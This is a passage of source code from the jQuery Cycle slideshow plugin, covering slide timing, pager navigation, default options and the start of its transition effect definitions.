			if (!w) w = e.offsetWidth || e.width || $e.attr('width');
			if (!h) h = e.offsetHeight || e.height || $e.attr('height');
			maxw = w > maxw ? w : maxw;
			maxh = h > maxh ? h : maxh;
		}
		if (opts.containerResize && maxw > 0 && maxh > 0)
			$cont.css({width:maxw+'px',height:maxh+'px'});
		if (opts.containerResizeHeight && maxh > 0)
			$cont.css({height:maxh+'px'});
	}

	var pauseFlag = false;  // https://github.com/malsup/cycle/issues/44
	if (opts.pause)
		$cont.bind('mouseenter.cycle', function(){
			pauseFlag = true;
			this.cyclePause++;
			triggerPause(cont, true);
		}).bind('mouseleave.cycle', function(){
				if (pauseFlag)
					this.cyclePause--;
				triggerPause(cont, true);
		});

	if (supportMultiTransitions(opts) === false)
		return false;

	// apparently a lot of people use image slideshows without height/width attributes on the images.
	// Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that.
	var requeue = false;
	options.requeueAttempts = options.requeueAttempts || 0;
	$slides.each(function() {
		// try to get height/width of each slide
		var $el = $(this);
		this.cycleH = (opts.fit && opts.height) ? opts.height : ($el.height() || this.offsetHeight || this.height || $el.attr('height') || 0);
		this.cycleW = (opts.fit && opts.width) ? opts.width : ($el.width() || this.offsetWidth || this.width || $el.attr('width') || 0);

		if ( $el.is('img') ) {
			var loading = (this.cycleH === 0 && this.cycleW === 0 && !this.complete);
			// don't requeue for images that are still loading but have a valid size
			if (loading) {
				if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever
					log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
					setTimeout(function() {$(o.s,o.c).cycle(options);}, opts.requeueTimeout);
					requeue = true;
					return false; // break each loop
				}
				else {
					log('could not determine size of image: '+this.src, this.cycleW, this.cycleH);
				}
			}
		}
		return true;
	});

	if (requeue)
		return false;

	opts.cssBefore = opts.cssBefore || {};
	opts.cssAfter = opts.cssAfter || {};
	opts.cssFirst = opts.cssFirst || {};
	opts.animIn = opts.animIn || {};
	opts.animOut = opts.animOut || {};

	$slides.not(':eq('+first+')').css(opts.cssBefore);
	$($slides[first]).css(opts.cssFirst);

	if (opts.timeout) {
		opts.timeout = parseInt(opts.timeout,10);
		// ensure that timeout and speed settings are sane
		if (opts.speed.constructor == String)
			opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed,10);
		if (!opts.sync)
			opts.speed = opts.speed / 2;
		
		var buffer = opts.fx == 'none' ? 0 : opts.fx == 'shuffle' ? 500 : 250;
		while((opts.timeout - opts.speed) < buffer) // sanitize timeout
			opts.timeout += opts.speed;
	}
	if (opts.easing)
		opts.easeIn = opts.easeOut = opts.easing;
	if (!opts.speedIn)
		opts.speedIn = opts.speed;
	if (!opts.speedOut)
		opts.speedOut = opts.speed;

	opts.slideCount = els.length;
	opts.currSlide = opts.lastSlide = first;
	if (opts.random) {
		if (++opts.randomIndex == els.length)
			opts.randomIndex = 0;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.backwards)
		opts.nextSlide = opts.startingSlide === 0 ? (els.length-1) : opts.startingSlide-1;
	else
		opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;

	// run transition init fn
	if (!opts.multiFx) {
		var init = $.fn.cycle.transitions[opts.fx];
		if ($.isFunction(init))
			init($cont, $slides, opts);
		else if (opts.fx != 'custom' && !opts.multiFx) {
			log('unknown transition: ' + opts.fx,'; slideshow terminating');
			return false;
		}
	}

	// fire artificial events
	var e0 = $slides[first];
	if (!opts.skipInitializationCallbacks) {
		if (opts.before.length)
			opts.before[0].apply(e0, [e0, e0, opts, true]);
		if (opts.after.length)
			opts.after[0].apply(e0, [e0, e0, opts, true]);
	}
	if (opts.next)
		$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1);});
	if (opts.prev)
		$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0);});
	if (opts.pager || opts.pagerAnchorBuilder)
		buildPager(els,opts);

	exposeAddSlide(opts, els);

	return opts;
}

// save off original opts so we can restore after clearing state
function saveOriginalOpts(opts) {
	opts.original = { before: [], after: [] };
	opts.original.cssBefore = $.extend({}, opts.cssBefore);
	opts.original.cssAfter  = $.extend({}, opts.cssAfter);
	opts.original.animIn	= $.extend({}, opts.animIn);
	opts.original.animOut   = $.extend({}, opts.animOut);
	$.each(opts.before, function() { opts.original.before.push(this); });
	$.each(opts.after,  function() { opts.original.after.push(this); });
}

function supportMultiTransitions(opts) {
	var i, tx, txs = $.fn.cycle.transitions;
	// look for multiple effects
	if (opts.fx.indexOf(',') > 0) {
		opts.multiFx = true;
		opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
		// discard any bogus effect names
		for (i=0; i < opts.fxs.length; i++) {
			var fx = opts.fxs[i];
			tx = txs[fx];
			if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
				log('discarding unknown transition: ',fx);
				opts.fxs.splice(i,1);
				i--;
			}
		}
		// if we have an empty list then we threw everything away!
		if (!opts.fxs.length) {
			log('No valid transitions named; slideshow terminating.');
			return false;
		}
	}
	else if (opts.fx == 'all') {  // auto-gen the list of transitions
		opts.multiFx = true;
		opts.fxs = [];
		for (var p in txs) {
			if (txs.hasOwnProperty(p)) {
				tx = txs[p];
				if (txs.hasOwnProperty(p) && $.isFunction(tx))
					opts.fxs.push(p);
			}
		}
	}
	if (opts.multiFx && opts.randomizeEffects) {
		// munge the fxs array to make effect selection random
		var r1 = Math.floor(Math.random() * 20) + 30;
		for (i = 0; i < r1; i++) {
			var r2 = Math.floor(Math.random() * opts.fxs.length);
			opts.fxs.push(opts.fxs.splice(r2,1)[0]);
		}
		debug('randomized fx sequence: ',opts.fxs);
	}
	return true;
}

// provide a mechanism for adding slides after the slideshow has started
function exposeAddSlide(opts, els) {
	opts.addSlide = function(newSlide, prepend) {
		var $s = $(newSlide), s = $s[0];
		if (!opts.autostopCount)
			opts.countdown++;
		els[prepend?'unshift':'push'](s);
		if (opts.els)
			opts.els[prepend?'unshift':'push'](s); // shuffle needs this
		opts.slideCount = els.length;

		// add the slide to the random map and resort
		if (opts.random) {
			opts.randomMap.push(opts.slideCount-1);
			opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
		}

		$s.css('position','absolute');
		$s[prepend?'prependTo':'appendTo'](opts.$cont);

		if (prepend) {
			opts.currSlide++;
			opts.nextSlide++;
		}

		if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
			clearTypeFix($s);

		if (opts.fit && opts.width)
			$s.width(opts.width);
		if (opts.fit && opts.height && opts.height != 'auto')
			$s.height(opts.height);
		s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height();
		s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width();

		$s.css(opts.cssBefore);

		if (opts.pager || opts.pagerAnchorBuilder)
			$.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts);

		if ($.isFunction(opts.onAddSlide))
			opts.onAddSlide($s);
		else
			$s.hide(); // default behavior
	};
}

// reset internal state; we do this on every pass in order to support multiple effects
$.fn.cycle.resetState = function(opts, fx) {
	fx = fx || opts.fx;
	opts.before = []; opts.after = [];
	opts.cssBefore = $.extend({}, opts.original.cssBefore);
	opts.cssAfter  = $.extend({}, opts.original.cssAfter);
	opts.animIn	= $.extend({}, opts.original.animIn);
	opts.animOut   = $.extend({}, opts.original.animOut);
	opts.fxFn = null;
	$.each(opts.original.before, function() { opts.before.push(this); });
	$.each(opts.original.after,  function() { opts.after.push(this); });

	// re-init
	var init = $.fn.cycle.transitions[fx];
	if ($.isFunction(init))
		init(opts.$cont, $(opts.elements), opts);
};

// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt
function go(els, opts, manual, fwd) {
	var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide];

	// opts.busy is true if we're in the middle of an animation
	if (manual && opts.busy && opts.manualTrump) {
		// let manual transitions requests trump active ones
		debug('manualTrump in go(), stopping active transition');
		$(els).stop(true,true);
		opts.busy = 0;
		clearTimeout(p.cycleTimeout);
	}

	// don't begin another timeout-based transition if there is one active
	if (opts.busy) {
		debug('transition active, ignoring new tx request');
		return;
	}


	// stop cycling if we have an outstanding stop request
	if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual)
		return;

	// check to see if we should stop cycling based on autostop options
	if (!manual && !p.cyclePause && !opts.bounce &&
		((opts.autostop && (--opts.countdown <= 0)) ||
		(opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) {
		if (opts.end)
			opts.end(opts);
		return;
	}

	// if slideshow is paused, only transition on a manual trigger
	var changed = false;
	if ((manual || !p.cyclePause) && (opts.nextSlide != opts.currSlide)) {
		changed = true;
		var fx = opts.fx;
		// keep trying to get the slide size if we don't have it yet
		curr.cycleH = curr.cycleH || $(curr).height();
		curr.cycleW = curr.cycleW || $(curr).width();
		next.cycleH = next.cycleH || $(next).height();
		next.cycleW = next.cycleW || $(next).width();

		// support multiple transition types
		if (opts.multiFx) {
			if (fwd && (opts.lastFx === undefined || ++opts.lastFx >= opts.fxs.length))
				opts.lastFx = 0;
			else if (!fwd && (opts.lastFx === undefined || --opts.lastFx < 0))
				opts.lastFx = opts.fxs.length - 1;
			fx = opts.fxs[opts.lastFx];
		}

		// one-time fx overrides apply to:  $('div').cycle(3,'zoom');
		if (opts.oneTimeFx) {
			fx = opts.oneTimeFx;
			opts.oneTimeFx = null;
		}

		$.fn.cycle.resetState(opts, fx);

		// run the before callbacks
		if (opts.before.length)
			$.each(opts.before, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});

		// stage the after callacks
		var after = function() {
			opts.busy = 0;
			$.each(opts.after, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});
			if (!p.cycleStop) {
				// queue next transition
				queueNext();
			}
		};

		debug('tx firing('+fx+'); currSlide: ' + opts.currSlide + '; nextSlide: ' + opts.nextSlide);
		
		// get ready to perform the transition
		opts.busy = 1;
		if (opts.fxFn) // fx function provided?
			opts.fxFn(curr, next, opts, after, fwd, manual && opts.fastOnEvent);
		else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ?
			$.fn.cycle[opts.fx](curr, next, opts, after, fwd, manual && opts.fastOnEvent);
		else
			$.fn.cycle.custom(curr, next, opts, after, fwd, manual && opts.fastOnEvent);
	}
	else {
		queueNext();
	}

	if (changed || opts.nextSlide == opts.currSlide) {
		// calculate the next slide
		var roll;
		opts.lastSlide = opts.currSlide;
		if (opts.random) {
			opts.currSlide = opts.nextSlide;
			if (++opts.randomIndex == els.length) {
				opts.randomIndex = 0;
				opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
			}
			opts.nextSlide = opts.randomMap[opts.randomIndex];
			if (opts.nextSlide == opts.currSlide)
				opts.nextSlide = (opts.currSlide == opts.slideCount - 1) ? 0 : opts.currSlide + 1;
		}
		else if (opts.backwards) {
			roll = (opts.nextSlide - 1) < 0;
			if (roll && opts.bounce) {
				opts.backwards = !opts.backwards;
				opts.nextSlide = 1;
				opts.currSlide = 0;
			}
			else {
				opts.nextSlide = roll ? (els.length-1) : opts.nextSlide-1;
				opts.currSlide = roll ? 0 : opts.nextSlide+1;
			}
		}
		else { // sequence
			roll = (opts.nextSlide + 1) == els.length;
			if (roll && opts.bounce) {
				opts.backwards = !opts.backwards;
				opts.nextSlide = els.length-2;
				opts.currSlide = els.length-1;
			}
			else {
				opts.nextSlide = roll ? 0 : opts.nextSlide+1;
				opts.currSlide = roll ? els.length-1 : opts.nextSlide-1;
			}
		}
	}
	if (changed && opts.pager)
		opts.updateActivePagerLink(opts.pager, opts.currSlide, opts.activePagerClass);
	
	function queueNext() {
		// stage the next transition
		var ms = 0, timeout = opts.timeout;
		if (opts.timeout && !opts.continuous) {
			ms = getTimeout(els[opts.currSlide], els[opts.nextSlide], opts, fwd);
         if (opts.fx == 'shuffle')
            ms -= opts.speedOut;
      }
		else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic
			ms = 10;
		if (ms > 0)
			p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.backwards); }, ms);
	}
}

// invoked after transition
$.fn.cycle.updateActivePagerLink = function(pager, currSlide, clsName) {
   $(pager).each(function() {
       $(this).children().removeClass(clsName).eq(currSlide).addClass(clsName);
   });
};

// calculate timeout value for current transition
function getTimeout(curr, next, opts, fwd) {
	if (opts.timeoutFn) {
		// call user provided calc fn
		var t = opts.timeoutFn.call(curr,curr,next,opts,fwd);
		while (opts.fx != 'none' && (t - opts.speed) < 250) // sanitize timeout
			t += opts.speed;
		debug('calculated timeout: ' + t + '; speed: ' + opts.speed);
		if (t !== false)
			return t;
	}
	return opts.timeout;
}

// expose next/prev function, caller must pass in state
$.fn.cycle.next = function(opts) { advance(opts,1); };
$.fn.cycle.prev = function(opts) { advance(opts,0);};

// advance slide forward or back
function advance(opts, moveForward) {
	var val = moveForward ? 1 : -1;
	var els = opts.elements;
	var p = opts.$cont[0], timeout = p.cycleTimeout;
	if (timeout) {
		clearTimeout(timeout);
		p.cycleTimeout = 0;
	}
	if (opts.random && val < 0) {
		// move back to the previously display slide
		opts.randomIndex--;
		if (--opts.randomIndex == -2)
			opts.randomIndex = els.length-2;
		else if (opts.randomIndex == -1)
			opts.randomIndex = els.length-1;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.random) {
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else {
		opts.nextSlide = opts.currSlide + val;
		if (opts.nextSlide < 0) {
			if (opts.nowrap) return false;
			opts.nextSlide = els.length - 1;
		}
		else if (opts.nextSlide >= els.length) {
			if (opts.nowrap) return false;
			opts.nextSlide = 0;
		}
	}

	var cb = opts.onPrevNextEvent || opts.prevNextClick; // prevNextClick is deprecated
	if ($.isFunction(cb))
		cb(val > 0, opts.nextSlide, els[opts.nextSlide]);
	go(els, opts, 1, moveForward);
	return false;
}

function buildPager(els, opts) {
	var $p = $(opts.pager);
	$.each(els, function(i,o) {
		$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);
	});
	opts.updateActivePagerLink(opts.pager, opts.startingSlide, opts.activePagerClass);
}

$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) {
	var a;
	if ($.isFunction(opts.pagerAnchorBuilder)) {
		a = opts.pagerAnchorBuilder(i,el);
		debug('pagerAnchorBuilder('+i+', el) returned: ' + a);
	}
	else
		a = '<a href="#">'+(i+1)+'</a>';
		
	if (!a)
		return;
	var $a = $(a);
	// don't reparent if anchor is in the dom
	if ($a.parents('body').length === 0) {
		var arr = [];
		if ($p.length > 1) {
			$p.each(function() {
				var $clone = $a.clone(true);
				$(this).append($clone);
				arr.push($clone[0]);
			});
			$a = $(arr);
		}
		else {
			$a.appendTo($p);
		}
	}

	opts.pagerAnchors =  opts.pagerAnchors || [];
	opts.pagerAnchors.push($a);
	
	var pagerFn = function(e) {
		e.preventDefault();
		opts.nextSlide = i;
		var p = opts.$cont[0], timeout = p.cycleTimeout;
		if (timeout) {
			clearTimeout(timeout);
			p.cycleTimeout = 0;
		}
		var cb = opts.onPagerEvent || opts.pagerClick; // pagerClick is deprecated
		if ($.isFunction(cb))
			cb(opts.nextSlide, els[opts.nextSlide]);
		go(els,opts,1,opts.currSlide < i); // trigger the trans
//		return false; // <== allow bubble
	};
	
	if ( /mouseenter|mouseover/i.test(opts.pagerEvent) ) {
		$a.hover(pagerFn, function(){/* no-op */} );
	}
	else {
		$a.bind(opts.pagerEvent, pagerFn);
	}
	
	if ( ! /^click/.test(opts.pagerEvent) && !opts.allowPagerClickBubble)
		$a.bind('click.cycle', function(){return false;}); // suppress click
	
	var cont = opts.$cont[0];
	var pauseFlag = false; // https://github.com/malsup/cycle/issues/44
	if (opts.pauseOnPagerHover) {
		$a.hover(
			function() { 
				pauseFlag = true;
				cont.cyclePause++; 
				triggerPause(cont,true,true);
			}, function() { 
				if (pauseFlag)
					cont.cyclePause--; 
				triggerPause(cont,true,true);
			} 
		);
	}
};

// helper fn to calculate the number of slides between the current and the next
$.fn.cycle.hopsFromLast = function(opts, fwd) {
	var hops, l = opts.lastSlide, c = opts.currSlide;
	if (fwd)
		hops = c > l ? c - l : opts.slideCount - l;
	else
		hops = c < l ? l - c : l + opts.slideCount - c;
	return hops;
};

// fix clearType problems in ie6 by setting an explicit bg color
// (otherwise text slides look horrible during a fade transition)
function clearTypeFix($slides) {
	debug('applying clearType background-color hack');
	function hex(s) {
		s = parseInt(s,10).toString(16);
		return s.length < 2 ? '0'+s : s;
	}
	function getBg(e) {
		for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) {
			var v = $.css(e,'background-color');
			if (v && v.indexOf('rgb') >= 0 ) {
				var rgb = v.match(/\d+/g);
				return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]);
			}
			if (v && v != 'transparent')
				return v;
		}
		return '#ffffff';
	}
	$slides.each(function() { $(this).css('background-color', getBg(this)); });
}

// reset common props before the next transition
$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) {
	$(opts.elements).not(curr).hide();
	if (typeof opts.cssBefore.opacity == 'undefined')
		opts.cssBefore.opacity = 1;
	opts.cssBefore.display = 'block';
	if (opts.slideResize && w !== false && next.cycleW > 0)
		opts.cssBefore.width = next.cycleW;
	if (opts.slideResize && h !== false && next.cycleH > 0)
		opts.cssBefore.height = next.cycleH;
	opts.cssAfter = opts.cssAfter || {};
	opts.cssAfter.display = 'none';
	$(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0));
	$(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1));
};

// the actual fn for effecting a transition
$.fn.cycle.custom = function(curr, next, opts, cb, fwd, speedOverride) {
	var $l = $(curr), $n = $(next);
	var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut, animInDelay = opts.animInDelay, animOutDelay = opts.animOutDelay;
	$n.css(opts.cssBefore);
	if (speedOverride) {
		if (typeof speedOverride == 'number')
			speedIn = speedOut = speedOverride;
		else
			speedIn = speedOut = 1;
		easeIn = easeOut = null;
	}
	var fn = function() {
		$n.delay(animInDelay).animate(opts.animIn, speedIn, easeIn, function() {
			cb();
		});
	};
	$l.delay(animOutDelay).animate(opts.animOut, speedOut, easeOut, function() {
		$l.css(opts.cssAfter);
		if (!opts.sync) 
			fn();
	});
	if (opts.sync) fn();
};

// transition definitions - only fade is defined here, transition pack defines the rest
$.fn.cycle.transitions = {
	fade: function($cont, $slides, opts) {
		$slides.not(':eq('+opts.currSlide+')').css('opacity',0);
		opts.before.push(function(curr,next,opts) {
			$.fn.cycle.commonReset(curr,next,opts);
			opts.cssBefore.opacity = 0;
		});
		opts.animIn	   = { opacity: 1 };
		opts.animOut   = { opacity: 0 };
		opts.cssBefore = { top: 0, left: 0 };
	}
};

$.fn.cycle.ver = function() { return ver; };

// override these globally if you like (they are all optional)
$.fn.cycle.defaults = {
    activePagerClass: 'activeSlide', // class name used for the active pager link
    after:            null,     // transition callback (scope set to element that was shown):  function(currSlideElement, nextSlideElement, options, forwardFlag)
    allowPagerClickBubble: false, // allows or prevents click event on pager anchors from bubbling
    animIn:           null,     // properties that define how the slide animates in
    animInDelay:      0,        // allows delay before next slide transitions in	
    animOut:          null,     // properties that define how the slide animates out
    animOutDelay:     0,        // allows delay before current slide transitions out
    aspect:           false,    // preserve aspect ratio during fit resizing, cropping if necessary (must be used with fit option)
    autostop:         0,        // true to end slideshow after X transitions (where X == slide count)
    autostopCount:    0,        // number of transitions (optionally used with autostop to define X)
    backwards:        false,    // true to start slideshow at last slide and move backwards through the stack
    before:           null,     // transition callback (scope set to element to be shown):     function(currSlideElement, nextSlideElement, options, forwardFlag)
    center:           null,     // set to true to have cycle add top/left margin to each slide (use with width and height options)
    cleartype:        !$.support.opacity,  // true if clearType corrections should be applied (for IE)
    cleartypeNoBg:    false,    // set to true to disable extra cleartype fixing (leave false to force background color setting on slides)
    containerResize:  1,        // resize container to fit largest slide
    containerResizeHeight:  0,  // resize containers height to fit the largest slide but leave the width dynamic
    continuous:       0,        // true to start next transition immediately after current one completes
    cssAfter:         null,     // properties that defined the state of the slide after transitioning out
    cssBefore:        null,     // properties that define the initial state of the slide before transitioning in
    delay:            0,        // additional delay (in ms) for first transition (hint: can be negative)
    easeIn:           null,     // easing for "in" transition
    easeOut:          null,     // easing for "out" transition
    easing:           null,     // easing method for both in and out transitions
    end:              null,     // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options)
    fastOnEvent:      0,        // force fast transitions when triggered manually (via pager or prev/next); value == time in ms
    fit:              0,        // force slides to fit container
    fx:               'fade',   // name of transition effect (or comma separated names, ex: 'fade,scrollUp,shuffle')
    fxFn:             null,     // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag)
    height:           'auto',   // container height (if the 'fit' option is true, the slides will be set to this height as well)
    manualTrump:      true,     // causes manual transition to stop an active transition instead of being ignored
    metaAttr:         'cycle',  // data- attribute that holds the option data for the slideshow
    next:             null,     // element, jQuery object, or jQuery selector string for the element to use as event trigger for next slide
    nowrap:           0,        // true to prevent slideshow from wrapping
    onPagerEvent:     null,     // callback fn for pager events: function(zeroBasedSlideIndex, slideElement)
    onPrevNextEvent:  null,     // callback fn for prev/next events: function(isNext, zeroBasedSlideIndex, slideElement)
    pager:            null,     // element, jQuery object, or jQuery selector string for the element to use as pager container
    pagerAnchorBuilder: null,   // callback fn for building anchor links:  function(index, DOMelement)
    pagerEvent:       'click.cycle', // name of event which drives the pager navigation
    pause:            0,        // true to enable "pause on hover"
    pauseOnPagerHover: 0,       // true to pause when hovering over pager link
    prev:             null,     // element, jQuery object, or jQuery selector string for the element to use as event trigger for previous slide
    prevNextEvent:    'click.cycle',// event which drives the manual transition to the previous or next slide
    random:           0,        // true for random, false for sequence (not applicable to shuffle fx)
    randomizeEffects: 1,        // valid when multiple effects are used; true to make the effect sequence random
    requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded
    requeueTimeout:   250,      // ms delay for requeue
    rev:              0,        // causes animations to transition in reverse (for effects that support it such as scrollHorz/scrollVert/shuffle)
    shuffle:          null,     // coords for shuffle animation, ex: { top:15, left: 200 }
    skipInitializationCallbacks: false, // set to true to disable the first before/after callback that occurs prior to any transition
    slideExpr:        null,     // expression for selecting slides (if something other than all children is required)
    slideResize:      1,        // force slide width/height to fixed size before every transition
    speed:            1000,     // speed of the transition (any valid fx speed value)
    speedIn:          null,     // speed of the 'in' transition
    speedOut:         null,     // speed of the 'out' transition
    startingSlide:    undefined,// zero-based index of the first slide to be displayed
    sync:             1,        // true if in/out transitions should occur simultaneously
    timeout:          4000,     // milliseconds between slide transitions (0 to disable auto advance)
    timeoutFn:        null,     // callback for determining per-slide timeout value:  function(currSlideElement, nextSlideElement, options, forwardFlag)
    updateActivePagerLink: null,// callback fn invoked to update the active pager link (adds/removes activePagerClass style)
    width:            null      // container width (if the 'fit' option is true, the slides will be set to this width as well)
};

})(jQuery);


/*!
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version:	 2.73
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($) {
"use strict";

//
// These functions define slide initialization and properties for the named
// transitions. To save file size feel free to remove any of these that you
// don't need.
//
$.fn.cycle.transitions.none = function($cont, $slides, opts) {
	opts.fxFn = function(curr,next,opts,after){
		$(next).show();
		$(curr).hide();
		after();
	};
};

// not a cross-fade, fadeout only fades out the top slide
$.fn.cycle.transitions.fadeout = function($cont, $slides, opts) {
	$slides.not(':eq('+opts.currSlide+')').css({ display: 'block', 'opacity': 1 });
	opts.before.push(function(curr,next,opts,w,h,rev) {
		$(curr).css('zIndex',opts.slideCount + (rev !== true ? 1 : 0));
		$(next).css('zIndex',opts.slideCount + (rev !== true ? 0 : 1));
	});
	opts.animIn.opacity = 1;
	opts.animOut.opacity = 0;
	opts.cssBefore.opacity = 1;
	opts.cssBefore.display = 'block';
	opts.cssAfter.zIndex = 0;
};

// scrollUp/Down/Left/Right
$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssBefore.top = h;
	opts.cssBefore.left = 0;
	opts.cssFirst.top = 0;
	opts.animIn.top = 0;
	opts.animOut.top = -h;
};
$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssFirst.top = 0;
	opts.cssBefore.top = -h;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.top = h;
};
$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst.left = 0;
	opts.cssBefore.left = w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = 0-w;
};
$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst.left = 0;
	opts.cssBefore.left = -w;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.left = w;
};
$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) {
	$cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts, fwd) {
		if (opts.rev)
			fwd = !fwd;
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW);
		opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW;
	});
	opts.cssFirst.left = 0;
	opts.cssBefore.top = 0;
	opts.animIn.left = 0;
	opts.animOut.top = 0;
};
$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push(function(curr, next, opts, fwd) {
		if (opts.rev)
			fwd = !fwd;
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1);
		opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.animIn.top = 0;
	opts.animOut.left = 0;
};

// slideX/slideY
$.fn.cycle.transitions.slideX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.width = 0;
	opts.animIn.width = 'show';
	opts.animOut.width = 0;
};
$.fn.cycle.transitions.slideY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
	});
	opts.cssBefore.left = 0;
	opts.cssBefore.top = 0;
	opts.cssBefore.height = 0;
	opts.animIn.height = 'show';
	opts.animOut.height = 0;
};

// shuffle
$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) {
	var i, w = $cont.css('overflow', 'visible').width();
	$slides.css({left: 0, top: 0});
	opts.before.push(function(curr,next,opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
	});
	// only adjust speed once!
	if (!opts.speedAdjusted) {
		opts.speed = opts.speed / 2; // shuffle has 2 transitions
		opts.speedAdjusted = true;
	}
	opts.random = 0;
	opts.shuffle = opts.shuffle || {left:-w, top:15};
	opts.els = [];
	for (i=0; i < $slides.length; i++)
		opts.els.push($slides[i]);

	for (i=0; i < opts.currSlide; i++)
		opts.els.push(opts.els.shift());

	// custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!)
	opts.fxFn = function(curr, next, opts, cb, fwd) {
		if (opts.rev)
			fwd = !fwd;
		var $el = fwd ? $(curr) : $(next);
		$(next).css(opts.cssBefore);
		var count = opts.slideCount;
		$el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() {
			var hops = $.fn.cycle.hopsFromLast(opts, fwd);
			for (var k=0; k < hops; k++) {
				if (fwd)
					opts.els.push(opts.els.shift());
				else
					opts.els.unshift(opts.els.pop());
			}
			if (fwd) {
				for (var i=0, len=opts.els.length; i < len; i++)
					$(opts.els[i]).css('z-index', len-i+count);
			}
			else {
				var z = $(curr).css('z-index');
				$el.css('z-index', parseInt(z,10)+1+count);
			}
			$el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
				$(fwd ? this : curr).hide();
				if (cb) cb();
			});
		});
	};
	$.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 });
};

// turnUp/Down/Left/Right
$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = next.cycleH;
		opts.animIn.height = next.cycleH;
		opts.animOut.width = next.cycleW;
	});
	opts.cssFirst.top = 0;
	opts.cssBefore.left = 0;
	opts.cssBefore.height = 0;
	opts.animIn.top = 0;
	opts.animOut.height = 0;
};
$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
